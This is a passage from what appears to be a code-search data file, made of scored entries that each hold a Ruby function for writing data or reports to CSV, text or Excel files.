"text": "def to_csv_usr_file\n dir = File.expand_path(default_name, User.sorties)\n Dir.mkdir(dir)\n @tables.each do |name, table|\n path = File.expand_path(\"#{name}.csv\", dir)\n J2R.to_file(path, table.csv_output, J2R.system_csv_encoding)\n end\n \"Fichiers créés dans #{dir}\"\n end",
"title": ""
},
{
"docid": "3a013539a78c15dbeafa3fa3448c4470",
"score": "0.5878675",
"text": "def write(file_path, query_result)\n line_number = 0\n CSV.open(file_path, \"w\") do |csv|\n query_result.each do |row|\n csv << row.map{ |field| field.is_a?(String) ? field.gsub(\"\\n\", \" \") : field }\n line_number+=1\n end\n end\n line_number\n end",
"title": ""
},
{
"docid": "80d041ac26e34b54c5ea1037e41b71a3",
"score": "0.5871474",
"text": "def process_report\n construct_report\n write_csv_report\n end",
"title": ""
},
{
"docid": "0a143b720dfc236b87407292e15e0415",
"score": "0.5865645",
"text": "def export_results\n \t\troot_path = \"./doc_examples\"\n \t\tFileUtils.rm_rf(root_path) if File.exists?(root_path) # clear directory\n\n \t\t@export_results.each_with_index do |e, index|\n \t\t\tdirectory_name = \"#{root_path}/#{e.resource}/#{e.lecturer_or_student}/#{e.action}/#{e.success_or_error}\"\n\n \t\t\tFileUtils.makedirs(directory_name) unless File.exists?(directory_name) # create directory\n\n\t\t\t\tFile.open(\"#{directory_name}/#{e.status}_#{index}.json\", \"a\") do |f|\n\t\t\t\t\tf.write(e.to_json + \"\\n\")\n\t\t\t\tend\n\n \t\t\t@output << \"\\nResource: #{e.resource}, Action: #{e.action}, Status: #{e.status}, Description: #{e.description}, Error?: #{e.error?}, Lecturer?: #{e.lecturer?}\"\n \t\tend\n \tend",
"title": ""
},
{
"docid": "f562f97e22bdddac83633da2042406ac",
"score": "0.5861507",
"text": "def export_csv(options = {})\n required_input_files :index_path\n required_output_files :csv_path\n\n object_types_to_export = %w[ file symlink ]\n columns_to_export = %w[ type name size mode mtime owner group sha256 path ].map{|col| col.to_sym} # we want symbols (not strings)\n\n last_dir = nil\n\n # read the index file\n IndexFile::Reader.new(input_file(:index_path)) do |index_file|\n # write the text file\n File.open(output_file(:csv_path), 'w') do |csv_file|\n csv_file.write columns_to_export.join(', ') + \"\\n\"\n\n while not index_file.eof? do\n object = index_file.read_object\n\n # track last 'dir' entry\n if 'dir' == object[:type]\n last_dir = object\n end\n\n # write to CSV file\n if object_types_to_export.include? object[:type]\n # the path comes from the more recent 'dir' entry\n object[:path] = last_dir[:path]\n\n values = columns_to_export.map{|col| object[col]}\n csv_file.write values.join(', ') + \"\\n\"\n end\n\n end # while\n end # File.open\n end # IndexFile::Reader\n end",
"title": ""
},
{
"docid": "65fe10b099804682f645c5a252b84d63",
"score": "0.5850306",
"text": "def save_to_file\n file = File.open(\"students.csv\", \"w\")\n @all_students.each do |student|\n student_data = [student[:first_name], student[:last_name], student[:nationality], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend",
"title": ""
},
{
"docid": "2456ad620f0898a2d18ff025b78b8565",
"score": "0.5848905",
"text": "def write_to_csv\n File.open('final.txt', 'w') { |file| file << final_string }\n end",
"title": ""
},
{
"docid": "7f6e11d6484d917402fd0bda83d09479",
"score": "0.58469695",
"text": "def make_results(duration, initial_pop_size, max_offsprings)\n Parameters.duration = duration\n Parameters.initial_pop_size = initial_pop_size\n Parameters.max_offsprings = max_offsprings\n start_time = Time.new\n file_path = make_csv_file\n print(\"#{file_path}...\")\n Simulation.new.to_csv(file_path)\n puts(\" done (#{(Time.new - start_time).round(2)}s)\")\n @total_sim += 1\nend",
"title": ""
},
{
"docid": "62d8287cdb8fe278c141fcc624e43db2",
"score": "0.58339655",
"text": "def save_class_tofile\n curr_day = Time.now.strftime(\"%Y_%m_%d\")\n base_dir_out = File.dirname(__FILE__) + \"/csv/#{curr_day}\"\n FileUtils.mkdir_p(base_dir_out)\n \n @tables_class.each do |str_table|\n allitems = (eval(str_table)).find(:all)\n @log.debug \"Processing table #{str_table}\"\n strdet = []\n strdet << \"Table: #{str_table}\"\n strdet << allitems[0].attributes.keys.join(\",\") if allitems.size > 0\n allitems.each do |item|\n strdet << item.attributes.values.join(\",\") \n end\n fname = File.join(base_dir_out, \"#{str_table.split(\"::\")[1]}.csv\")\n File.open(fname, 'w') do |out|\n out << strdet.join(\"\\n\")\n end\n @log.debug \"File created: #{fname}\"\n end\n end",
"title": ""
},
{
"docid": "1638f4f44733f7afe1edcb3f164d6723",
"score": "0.5830285",
"text": "def open_simulation_csv\r\n simulation_csv_file = File.join(@output_directory || '', \"simulations.csv\")\r\n write_header = File.exists?(simulation_csv_file) == false || File.stat(simulation_csv_file).size == 0\r\n\r\n @simulation_fd = File.new(simulation_csv_file, \"a\")\r\n\r\n log_simulation_csv_header(write_header)\r\n end",
"title": ""
},
{
"docid": "26691becc2cee52e2b88f46d52970b8a",
"score": "0.58205116",
"text": "def save_log_dir(log_dir, results_dir)\n end",
"title": ""
},
{
"docid": "1d0f3d7be9baa712f2c5b3c94a899e12",
"score": "0.5815962",
"text": "def save_students\n #open file for writing, second arguement is file access mode\n file = File.open(\"students.csv\", \"w\")\n #iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\n puts \"Student Directory Updated\"\n puts \"\"\nend",
"title": ""
},
{
"docid": "197eff101611b81a066ec0194a7eb908",
"score": "0.58115923",
"text": "def output_results(results)\n # create the actual output content as an array (will be joined later \n # with linebreaks)\n tsv_content = []\n\n # join the header columns with a tab\n # FIXME: make this optional\n tsv_content << OUTPUT_COLS.join(\"\\t\")\n\n # map the result array of objects to a tab-separated line\n tsv_content << results.map{ |row| \"#{row[:anchor_text]}\\t#{row[:url]}\\t#{row[:matched_text]}\" }\n\n # write out the file\n File.open(OUTPUT_FILE, 'w') { |f| f.write(tsv_content.join(\"\\n\")) }\nend",
"title": ""
},
{
"docid": "58ae1ee524492b782e9805e5781dc225",
"score": "0.5811392",
"text": "def save_game_result\n \t#Create csv directory and file\n \tpath=\"game_result/\"\n \tDir.mkdir path unless Dir.exist? path\n \tfile_name = path+\"#{@username}.csv\"\n\n \t#If the statistics already exist, add a new row\n \tif File.file?(file_name)\n \t\tCSV.open(file_name, \"a+\") do |csv|\n \t\t\tcsv << [@start_time, (@end_time - @start_time + @save_time).to_f,get_score,@number_of_correct,@number_of_wrong,@total_hint,@number_of_hint]\n \t\tend\n \t#If the statistics not exist, create the file and add a new row\n \telse\n \t\tCSV.open(file_name, \"a+\",\t:write_headers => true,\n \t\t\t\t:headers => [\"Start Time\",\"Time Spent(secs)\",\"Score\",\"Correct Sets\",\"Wrong Sets\",\"Total Hints\",\"Used Hints\"]) do |csv|\n \t\t\tcsv << [@start_time, (@end_time - @start_time + @save_time).to_f,get_score,@number_of_correct,@number_of_wrong,@total_hint,@number_of_hint]\n \t\tend\n \tend\n end",
"title": ""
},
{
"docid": "88ad12d8fd39e0b1f9131d8a5b04db2e",
"score": "0.58053714",
"text": "def copy_results_to_file(file,results,header)\n\theader\n results.each do |result|\n file.puts(result)\n end\nend",
"title": ""
},
{
"docid": "93e6d17aa507bc795be094c0cc4dff43",
"score": "0.5797211",
"text": "def to_csv(path = nil)\n out_io = path ? File.open(path, 'w') : $stdout\n csv = CSV.new(out_io, force_quotes: true)\n csv << column_names\n each { |record| csv << record.to_a }\n end",
"title": ""
},
{
"docid": "0556d08cd7ab12f646d7db889f8d6bdd",
"score": "0.5792833",
"text": "def write_array_to_csv(array)\n filename = 'test.csv' # test expects this filename\n # Fill In\n end",
"title": ""
},
{
"docid": "76b3e4bdd731f7e1186f281aee103beb",
"score": "0.579207",
"text": "def save_log_dir(log_dir, results_dir)\n end",
"title": ""
},
{
"docid": "816f81659be88e3d303169468ae509ba",
"score": "0.57899386",
"text": "def toCSV(results)\n\t\t\tputs \"------ to csv -------\"\n\t\t\t#puts results\n\t\t\t\n\t\t\tcsv = createHeader() + \"\\n\"\n\t\t\tresults.each{\n\t\t\t\t|name, resultHash|\n\t\t\t\tcsv += toCSVPart(name, resultHash)\n\t\t\t\t\n\t\t\t}\n\t\t\t#puts csv\n\t\t\treturn csv\n\t\tend",
"title": ""
},
{
"docid": "7ff3d3507a25bc431d9a06e912439a83",
"score": "0.5777515",
"text": "def write_summary_csv(srno, script_name, test_name, tl_id, st_time, en_time, res_name, remarks)\n\n log(\"In write_summary_csv. Remarks: #{remarks}\")\n\n #Check if making summary file entry for the first time\n if @summary_srno == nil\n if File.exist?(@summary_log)\n #Read last sr no\n arr_of_arrs = CSV.read(@summary_log)\n last_line = arr_of_arrs.last\n @summary_srno = last_line.first.to_i\n else\n #Create new summary file\n @summary_srno = 0\n CSV.open(@summary_log, 'w') do |csv|\n #Write header row\n csv << ['SrNo','ScriptName','TestCaseName','TestLinkId','StartDate','EndDate','Duration','Status','Remarks']\n end\n end\n end\n\n #Prepare SrNo to log in summary file\n if srno == nil\n @summary_srno += 1\n srno = @summary_srno\n else\n srno = \"#{@summary_srno + 1}_#{srno}\"\n end\n\n #Log entry in summary file\n begin\n CSV.open(@summary_log, 'a') do |csv|\n duration = en_time - st_time\n print \"(#{duration})\"\n csv << [srno, script_name, test_name, tl_id, st_time.strftime(\"%Y-%b-%d %H:%M:%S\"),en_time.strftime(\"%Y-%b-%d %H:%M:%S\"),duration,res_name,remarks]\n #csv << [@summary_srno,@script_name,@test_name,@test_link_id,@test_start_time.strftime(\"%Y-%b-%d %H:%M:%S\"),@test_end_time.strftime(\"%Y-%b-%d %H:%M:%S\"),duration,test_result_name(@test_result),@summary_remarks]\n end\n rescue Exception => ex\n #Retry if permission error\n if ex.class == Errno::EACCES\n log \"Permission denied while writing summary file! Retrying in 2 seconds...\", true\n sleep 2\n retry\n end\n\n log_e \"Error in summary_write! Error: #{ex.message}\", ex\n end\n\n end",
"title": ""
},
{
"docid": "c87185e6045ce48feba936f15dccc5ce",
"score": "0.5774122",
"text": "def index\n @metrics = Metric.all\n \n respond_to do |format|\n format.html\n format.csv {\n send_data @metrics.to_csv, filename: \"metrics_#{Time.now.strftime('%Y%m%dT%H%M%SZ')}.csv\" # Uses well known Regex to make sure time is formated. (Windows won't like dashes included by default.)\n }\n end\n end",
"title": ""
},
{
"docid": "8514c402fef9aaf53741dabbc1d5684d",
"score": "0.5772135",
"text": "def output_csv_file(csv_data, file_path)\n CSV.open(file_path, \"w\") do |csv|\n csv << ['First Name', 'Last Name', 'Zip Code']\n csv_data.each { |r| csv << r } \n end\n end",
"title": ""
},
{
"docid": "efae8e70ca932b9dd9be3745dc32a67a",
"score": "0.57501507",
"text": "def probesamples_tocsv(_apikey, _id, _probename, _freq, _keys, ts, te, ss)\n\n complex_syskeys = {\"s_l\" => [\"connect\", \"first byte\",\"trasfer time\", \"total\"],\n \"s_u\" => [\"% uptime\"],\n \"s_s\" => [\"0's count\",\"100's count\",\"200's count\",\"300's count\",\"400's count\",\"500's count\" ]\n }\n\n complex_numcats = {\"s_l\" => 4,\n \"s_u\" => 1,\n \"s_s\" => 6\n }\n\n keysto_strings = { \"s_l\" => \"latency\",\n \"s_u\" => \"uptime\",\n \"s_s\" => \"status codes\"\n }\n\n stato_strings = { \"atl\" => \"Atlanta\",\n \"dal\" => \"Dallas\",\n \"fre\" => \"Fremont\",\n \"lon\" => \"London\",\n \"nrk\" => \"Newark\",\n \"tok\" => \"Tokyo\"\n }\n stato_ints = { \"atl\" => 0,\n \"dal\" => 1,\n \"fre\" => 2,\n \"lon\" => 3,\n \"nrk\" => 4,\n \"tok\" => 5\n }\n alphstations = [ \"atl\", \"dal\", \"fre\", \"lon\", \"nrk\", \"tok\" ]\n\n if $outpath_setup == false # ensure the following happens only once\n $outpath_setup = true\n if $output_path != \".\"\n if Dir.exists?($output_path.to_s+\"/\") == false\n if $verbose == true\n print \"Creating directory...\"\n if Dir.mkdir($output_path.to_s+\"/\",0775) == -1\n print \"** FAILED ***\\n\"\n return false\n else\n FileUtils.chmod 0775, $output_path.to_s+\"/\"\n print \"Success\\n\"\n end\n else\n if Dir.mkdir($output_path.to_s+\"/\",0775) == -1\n print \"FAILED to create directiory \"+$output_path.to_s+\"/\"+\"\\n\"\n return false\n else\n FileUtils.chmod 0775, $output_path.to_s+\"/\"\n end\n end\n else # the directory exists\n FileUtils.chmod 0775, $output_path.to_s+\"/\" # TODO only modify if needed?\n end # of 'if Dir.exists?($output_path.to_s+\"/\") == false'\n end\n end # of 'if $outpath_setup == false '\n\n keys_array = Array.new\n keys_array = _keys.split(\",\")\n if keys_array.length < 1\n puts \"\\nError: This routine must be called with at least one key.\\n\"\n return false\n end\n\n # The timespan is split into 1 hour requests, to get max resolution\n secsperhour = 3600\n secsperday = 86400\n secsperrequest = (ss < 2 ? secsperhour : secsperday)\n\n tn = Time.now\n tn = tn.utc\n ti = tn.to_i\n\n if ts >= ti\n puts \"Specified a start time in the future. Aborting\"\n return false\n end\n\n if te <= ts\n puts \"Specified an end time before the start time. Aborting\"\n return false\n end\n\n begints = ts\n current_begints = ts\n endte = te\n current_endte = current_begints + secsperrequest\n\n if current_endte > endte\n current_endte = endte # this will be the final iteration\n end\n\n fname = \"#{$output_path}/#{_probename}_uptime_and_latency.xlsx\"\n if $verbose == true\n puts \"Writing to #{fname}\\n\\n\"\n end\n\n inp_keyhash = Hash.new\n skeys = Array.new\n rowsignore = Array.new\n allrows = Array.new\n allrow_index = 0\n tlatencyarray = Array.new\n single_latencies = Hash.new\n tlatencyarray = [0,0,0,0,0,0,0,0,0,0,0,0]\n single_latencies = {\"atl\" => [0,0,0,0,0,0,0,0,0,0,0,0],\n \"dal\" => [0,0,0,0,0,0,0,0,0,0,0,0],\n \"fre\" => [0,0,0,0,0,0,0,0,0,0,0,0],\n \"lon\" => [0,0,0,0,0,0,0,0,0,0,0,0],\n \"nrk\" => [0,0,0,0,0,0,0,0,0,0,0,0],\n \"tok\" => [0,0,0,0,0,0,0,0,0,0,0,0]\n }\n probe_stations = Array.new\n first_sample_up = nil\n first_sample_lat = nil\n\n p = Axlsx::Package.new\n wb = p.workbook\n header = wb.styles.add_style :alignment => { :horizontal=> :center, :wrapText => true }\n date = wb.styles.add_style :alignment => { :horizontal=> :center }\n comma = wb.styles.add_style :num_fmt => 39, :alignment => { :horizontal => :center }\n mainarray = Array.new\n $totalrows = 0\n\n # Uptime first\n keystr = \"s_u\"\n\n puts \"Retrieving Uptime data\\n\"\n wb.add_worksheet(:name => \"Uptime\" ) do |sheet1|\n skeys = alphstations\n numcats = complex_numcats[keystr]\n names = Array.new\n names = skeys\n\n mainarray[$totalrows] = Array.new\n row = mainarray[$totalrows]\n $totalrows = $totalrows + 1\n ignored_rows = 0\n\n\n row = CSVHeaders.create(complex_syskeys[keystr],names)\n row.concat([\"Number Stations Reporting Down\"])\n #hdrstyle = [ header, header, header, header, header , header , header , header ]\n sheet1.add_row row, :style => header\n style = Array.new\n style[0] = date\n\n incr = ss\n\n buckets = Array.new # contains timestamps indexed from 0 to numentries - 1\n bucketoff = Array.new # contains offsets indexed from 0 to numentries - 1\n # Loop though the time span passed-in, in 1 hour segments\n while current_begints < endte\n t = current_begints\n bucketcnt = 0\n off = 0\n while t < current_endte\n buckets[bucketcnt] = t\n bucketoff[bucketcnt] = off\n t = t + incr\n off = off + incr\n bucketcnt = bucketcnt + 1\n end\n\n newhash = get1hrprobesamples($APIKEY, _id.to_s, _probename.to_s, keystr, current_begints, current_endte, ss)\n\n inp_keyhash = newhash\n if inp_keyhash != nil\n probe_stations = probe_stations | inp_keyhash.keys\n $stationnumber = inp_keyhash.length\n end\n\n arrayctr = 0\n tmparray = Array.new\n # step through the expected offsets\n while arrayctr < bucketcnt\n mainarray[$totalrows] = Array.new\n row = mainarray[$totalrows]\n $totalrows = $totalrows + 1\n\n t_entry = Time.at(buckets[arrayctr].to_i).utc\n row[0] = t_entry.to_s\n skeys.each do |skey|\n tmparray = [\"NaN\"]\n if inp_keyhash != nil\n if inp_keyhash[skey] != nil\n samples = inp_keyhash[skey]\n if samples[bucketoff[arrayctr].to_s] != nil\n tmparray = [samples[bucketoff[arrayctr].to_s]]\n if first_sample_up == nil\n first_sample_up = t_entry\n end\n end\n end\n end # of 'if inp_keyhash == nil'\n row.concat(tmparray)\n end # of 'skeys.each do'\n\n # now sum up the row\n rowind = 1 # row[0] is the time string\n rslt = 0 # 0 is up\n havesomething = 0 # havesomething remains 0 if there is no data on the row\n while rowind <=row.length\n if row[rowind]!= nil && row[rowind] != \"\" && row[rowind] != \"NaN\"\n havesomething = 1 # it must be >=0 and <=100\n if row[rowind] < 100 # this station trying < 100; was == 0\n rslt=rslt+1\n end\n end\n rowind = rowind+1\n end\n if havesomething == 0\n rowsignore[allrow_index] = 1 # array of all empty rows\n ignored_rows = ignored_rows+1\n #rslt = allrows[allrow_index-1] # if there is no data here,\n else\n rowsignore[allrow_index] = 0\n end\n allrows[allrow_index] = rslt # rslt will be 0 to number of stations\n row.concat([rslt])\n allrow_index = allrow_index+1\n sheet1.add_row row #, :style=> [nil, comma, comma, comma]\n arrayctr = arrayctr + 1\n end # of 'while arrayctr < bucketcnt'\n current_begints = current_endte\n current_endte = current_begints + secsperrequest\n if inp_keyhash != nil\n inp_keyhash.clear\n end\n if current_endte > endte\n current_endte = endte # this will be the final iteration\n end\n end # of 'while current_begints < endte'\n\n totaldowntime = max_contiguous = cur_contiguous = 0\n rowind = ttime = tdtime = uptime = 0\n stuff = \"\"\n\n while rowind < allrow_index\n if rowsignore[rowind] == 0 && allrows[rowind] == $stationnumber\n totaldowntime = totaldowntime + 1\n cur_contiguous = cur_contiguous+1\n if cur_contiguous > max_contiguous\n max_contiguous = cur_contiguous\n end\n #elsif rowsignore[rowind] == 0 && allrows[rowind] == 0\n else\n cur_contiguous = 0\n end\n rowind = rowind +1\n end\n\n ttime = (allrow_index*$samplesize).to_f\n tdtime = (totaldowntime*$samplesize).to_f\n uptime = ((ttime-tdtime)/ttime).to_f\n uptime = (uptime*100).to_f\n if $dplaces == 3\n stuff = sprintf(\"%5.3f\",uptime.to_f.round(3))\n else # else $dplaces == 2\n stuff = sprintf(\"%4.2f\",uptime.to_f.round(2))\n end\n\n=begin\n lstr = \"A2:A\"+($totalrows-1).to_s\n dstr = \"H2:H\"+($totalrows-1).to_s\n tstr = \"Stations Reporting Down\\n\"+Time.at($begin).utc.to_s+\" to \"+Time.at($end).utc.to_s\n sheet1.add_chart(Axlsx::Bar3DChart, :start_at => \"J6\", :end_at => \"AD52\") do |chart1|\n chart1.add_series :data => sheet1[dstr], :labels => sheet1[lstr], :title => tstr, :colors => ['FF0000', '000000', '000000']\n chart1.bar_dir = :col\n chart1.grouping = :clustered\n chart1.show_legend = false\n chart1.catAxis.gridlines = false\n chart1.catAxis.label_rotation = -45\n end\n=end\n samples_analyzed = ($end - first_sample_up.to_i)/ss\n wb.add_worksheet(:name => \"Uptime Summary\") do |sheet2|\n sheet2.add_row [\"Uptime Summary for probe \"+ _probename.to_s+\" from \"+Time.at($begin).utc.to_s+\" to \"+Time.at($end).utc.to_s]\n sheet2.add_row [\"Analysis was run at \"+Time.at($runtime).utc.to_s]\n sheet2.add_row [\"First samples found in the interval at \"+first_sample_up.to_s]\n sheet2.add_row [\"Total number of \"+ss.to_s+\" second samples analyzed\", samples_analyzed.to_s]\n sheet2.add_row [\"Total number of samples with no data\", ignored_rows.to_s]\n sheet2.add_row [\"\",\"\",\"\",\"\"]\n sheet2.add_row [\"Metric\", \"In Hours\", \"In Minutes\", \"In Seconds\"]\n sheet2.add_row [\"Length of time period analyzed\", (ttime/3600).to_s, (ttime/60).to_s, ttime.to_s]\n sheet2.add_row [\"Total Downtime during this period\", (tdtime/3600).round(3).to_s, (tdtime/60).round(3).to_s, tdtime.to_s ]\n sheet2.add_row [\"Longest Time Down during this period\", ((max_contiguous*$samplesize)/3600).to_s, ((max_contiguous*$samplesize)/60).to_s, ((max_contiguous*$samplesize)).to_s]\n sheet2.add_row [\"Uptime percentage over this period\", stuff.to_s]\n end # of sheet2\n end # of sheet1\n\n\n # Latency is next\n keystr = \"s_l\"\n begints = ts\n current_begints = ts\n endte = te\n current_endte = current_begints + secsperrequest\n\n if current_endte > endte\n current_endte = endte # this will be the final iteration\n end\n\n #mainarray = Array.new\n puts \"\\nRetrieving Latency data\\n\"\n wb.add_worksheet(:name => \"Latency\" ) do |sheet3|\n skeys = alphstations\n numcats = complex_numcats[keystr]\n names = Array.new\n names = skeys\n\n mainarray[$totalrows] = Array.new\n row = mainarray[$totalrows]\n $totalrows = $totalrows + 1\n\n row = CSVHeaders.create(complex_syskeys[keystr],names)\n sheet3.add_row row, :style => header\n style = Array.new\n style[0] = date\n\n incr = ss\n\n buckets = Array.new # contains timestamps indexed from 0 to numentries - 1\n bucketoff = Array.new # contains offsets indexed from 0 to numentries - 1\n # Loop though the time span passed-in, in 1 hour segments\n while current_begints < endte\n # update the bucket list for this time period, to detect missing samples\n t = current_begints\n bucketcnt = 0\n off = 0\n while t < current_endte\n buckets[bucketcnt] = t\n bucketoff[bucketcnt] = off\n t = t + incr\n off = off + incr\n bucketcnt = bucketcnt + 1\n end\n\n newhash = get1hrprobesamples($APIKEY, _id.to_s, _probename.to_s, keystr, current_begints, current_endte, ss)\n\n inp_keyhash = newhash\n arrayctr = 0\n tmparray = Array.new\n # step through the expected offsets\n while arrayctr < bucketcnt\n mainarray[$totalrows] = Array.new\n row = mainarray[$totalrows]\n $totalrows = $totalrows + 1\n\n t_entry = Time.at(buckets[arrayctr].to_i).utc\n row[0] = t_entry.to_s\n skeys.each do |skey|\n thisarray= single_latencies[skey]\n tmparray = [\"NaN\",\"NaN\",\"NaN\",\"NaN\"]\n if inp_keyhash != nil\n if inp_keyhash[skey] != nil\n samples = inp_keyhash[skey]\n if samples[bucketoff[arrayctr].to_s] != nil\n if first_sample_lat == nil\n first_sample_lat = t_entry\n end\n tmparray = samples[bucketoff[arrayctr].to_s]\n if tmparray[3] >= 9999\n tmparray = [0,0,10000,10000]\n\n tlatencyarray[B_10secandup] = tlatencyarray[B_10secandup]+1\n thisarray[B_10secandup] = thisarray[B_10secandup]+1\n elsif tmparray[3] >=6000\n tlatencyarray[B_6secto10sec] = tlatencyarray[B_6secto10sec]+1\n thisarray[B_6secto10sec] = thisarray[B_6secto10sec]+1\n elsif tmparray[3] >=5000\n tlatencyarray[B_5secto6sec] = tlatencyarray[B_5secto6sec]+1\n thisarray[B_5secto6sec] = thisarray[B_5secto6sec]+1\n elsif tmparray[3] >=4000\n tlatencyarray[B_4secto5sec] = tlatencyarray[B_4secto5sec]+1\n thisarray[B_4secto5sec] = thisarray[B_4secto5sec]+1\n elsif tmparray[3] >=3000\n tlatencyarray[B_3secto4sec] = tlatencyarray[B_3secto4sec]+1\n thisarray[B_3secto4sec] = thisarray[B_3secto4sec]+1\n elsif tmparray[3] >=2000\n tlatencyarray[B_2secto3sec] = tlatencyarray[B_2secto3sec]+1\n thisarray[B_2secto3sec] = thisarray[B_2secto3sec]+1\n elsif tmparray[3] >=1000\n tlatencyarray[B_1secto2sec] = tlatencyarray[B_1secto2sec]+1\n thisarray[B_1secto2sec] = thisarray[B_1secto2sec]+1\n elsif tmparray[3] >=500\n tlatencyarray[B_500msto1sec] = tlatencyarray[B_500msto1sec]+1\n thisarray[B_500msto1sec] = thisarray[B_500msto1sec]+1\n elsif tmparray[3] >=200\n tlatencyarray[B_200msto500ms] = tlatencyarray[B_200msto500ms]+1\n thisarray[B_200msto500ms] = thisarray[B_200msto500ms]+1\n elsif tmparray[3] >=150\n tlatencyarray[B_150msto200ms] = tlatencyarray[B_150msto200ms]+1\n thisarray[B_150msto200ms] = thisarray[B_150msto200ms]+1\n elsif tmparray[3] >=100\n tlatencyarray[B_100msto150ms] = tlatencyarray[B_100msto150ms]+1\n thisarray[B_100msto150ms] = thisarray[B_100msto150ms]+1\n else\n tlatencyarray[B_Lessthan100] = tlatencyarray[B_Lessthan100]+1\n thisarray[B_Lessthan100] = thisarray[B_Lessthan100]+1\n end\n end\n row.concat(tmparray)\n end\n end # of 'if inp_keyhash == nil'\n end # of 'skeys.each do'\n sheet3.add_row row, :style=> [nil, comma, comma, comma]\n arrayctr = arrayctr + 1\n end # of 'while arrayctr < bucketcnt'\n current_begints = current_endte\n current_endte = current_begints + secsperrequest\n if inp_keyhash != nil\n inp_keyhash.clear\n end\n if current_endte > endte\n current_endte = endte # this will be the final iteration\n end\n end # of 'while current_begints < endte'\n end # of sheet3\n wb.add_worksheet(:name => \"Latency Summary\") do |sheet4|\n samples_analyzed = ($end - first_sample_lat.to_i)/ss\n sheet4.add_row [\"Latency Summary for probe \"+ _probename.to_s+\" from \"+Time.at($begin).utc.to_s+\" to \"+Time.at($end).utc.to_s]\n sheet4.add_row [\"Analysis was run at \"+Time.at($runtime).utc.to_s]\n sheet4.add_row [\"First samples found in the interval at \"+first_sample_lat.to_s]\n sheet4.add_row [\"Total number of \"+ss.to_s+\" second samples analyzed\", samples_analyzed.to_s]\n #sheet4.add_row [\"Total number of samples with no data\", ignored_rows.to_s]\n #sheet4.add_row [\"Length of time period analyzed in hours\", (ttime/3600).to_s]\n sheet4.add_row [\"\",\"\",\"\",\"\"]\n hrow = Array.new\n hrow = [\"\", \"RT < 100ms\",\"RT 100ms-150ms\",\"RT 150ms-200ms\",\"RT 200ms-500ms\",\"RT 500ms-1000ms\",\"RT 1sec-2sec\",\"RT 2sec-3sec\",\"RT 3sec-4sec\",\"RT 4sec-5sec\",\"RT 5sec-6sec\",\"RT 6sec-10sec\",\"RT > 10 sec\"]\n sheet4.add_row hrow\n\n harray = Array.new\n hctr = 0\n if probe_stations.nil?\n puts \"INFO: no data for #{_probename}. Skipping.\"\n next\n end\n probe_stations.each do |station|\n harray[hctr] = Array.new\n ha = harray[hctr]\n hctr = hctr + 1\n ha[0] = stato_strings[station]\n if single_latencies[station] != nil && single_latencies[station] != [0,0,0,0,0,0,0,0,0,0,0,0]\n tmparray = single_latencies[station]\n tmparray.each do |v|\n ha.concat([v])\n end\n sheet4.add_row ha\n end\n end\n harray[hctr] = Array.new\n ha = harray[hctr]\n hctr = hctr + 1\n ha[0] = 'Aggregate'\n tmparray = tlatencyarray\n tmparray.each do |v|\n ha.concat([v])\n end\n sheet4.add_row ha\n\n sheet4.add_chart(Axlsx::Bar3DChart, :start_at => \"B14\", :end_at => \"K48\", :title => \"Individual Stations\\nDistribution of Response Times\" ) do |chart2|\n if probe_stations && probe_stations.length\n probe_stations.length.times do |i|\n chart2.add_series :data => sheet4[\"B#{i+7}:M#{i+7}\"], :labels => sheet4[\"B6:M6\"], :title => sheet4[\"A#{i+7}\"]\n end\n else\n puts \"No probe_stations. skipping chart\"\n end\n chart2.bar_dir = :col\n chart2.grouping = :clustered\n chart2.valAxis.title = \"Number of Samples\"\n chart2.catAxis.title = \"Range of Response Times\"\n if probe_stations.length > 1\n chart2.show_legend = true\n else\n chart2.show_legend = false\n end\n chart2.catAxis.gridlines = false\n chart2.catAxis.label_rotation = -45\n end\n\n dstr = \"B#{probe_stations.length+7}:M#{probe_stations.length+7}\"\n tstr = \"A#{probe_stations.length+7}\"\n\n sheet4.add_chart(Axlsx::Bar3DChart, :start_at => \"B50\", :end_at => \"K84\", :title => \"All Stations in Aggregate\\nDistribution of Response Times\" ) do |chart3|\n chart3.add_series :data => sheet4[dstr], :labels => sheet4[\"B6:M6\"], :title => sheet4[tstr], :colors => ['FF0000', '00FF00', '0000FF', '000000']\n chart3.bar_dir = :col\n chart3.grouping = :clustered\n chart3.valAxis.title = \"Number of Samples\"\n chart3.catAxis.title = \"Range of Response Times\"\n chart3.show_legend = false\n chart3.catAxis.gridlines = false\n chart3.catAxis.label_rotation = -45\n end\n\n end\n p.serialize(fname)\n return true\nend",
"title": ""
},
{
"docid": "023333a3b9641305bf89a5f0367491dc",
"score": "0.57466483",
"text": "def run\n run_setup\n sleep @clear_stats_after\n clear_stats\n sleep @traffic_duration\n csv = run_stats_gather\n csv\n end",
"title": ""
},
{
"docid": "b199af6f19683eead026f5a9f1cac054",
"score": "0.5742561",
"text": "def export_toCSV\n\n #get all engeeners and tasks from db\n @lenie = Engeener.find(:all)\n @tasks = Task.find(:all)\n\n #generate report file\n CSV.open('public/reports/dailystatus.csv', 'w') do |writer|\n @lenie.each do |l|\n writer << [l.imie + \" \" + l.nzwisko]\n writer << ['Task -- description', 'Time taken in hours']\n @tasks.each do |t|\n if t.engeener == l.nzwisko\n writer << [t.tresc, t.timetaken]\n end\n end\n writer << [nil, nil]\n end\n end\n\n #send the file to user\n send_file 'public/reports/dailystatus.csv'\n\n\n end",
"title": ""
},
{
"docid": "707f22ded454c0f9758dbe59f7de0840",
"score": "0.5742311",
"text": "def save_students\n # open the file for writing (it's going to be created in the same folder)\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line # if we call puts to a file, it's going to print in it instead of printing to screen\n end\n file.close\nend",
"title": ""
},
{
"docid": "0f9f6572b7303ce8293108c3b3e4706b",
"score": "0.57351303",
"text": "def save_as_csv\n\tFile.open(\"/home/malala/Documents/THP/suite-nokogiri/db/emails.csv\", \"w\") {|f| f.write(@tabs.getting_the_townhall.inject([]) { |csv, row| csv << CSV.generate_line(row) }.join(\"\"))}\nend",
"title": ""
},
{
"docid": "0d1d138a6c0af43c37deb62aef4eecba",
"score": "0.5734606",
"text": "def write_csv filename, opts={}\n Daru::IO.dataframe_write_csv self, filename, opts\n end",
"title": ""
},
{
"docid": "0d1d138a6c0af43c37deb62aef4eecba",
"score": "0.5734606",
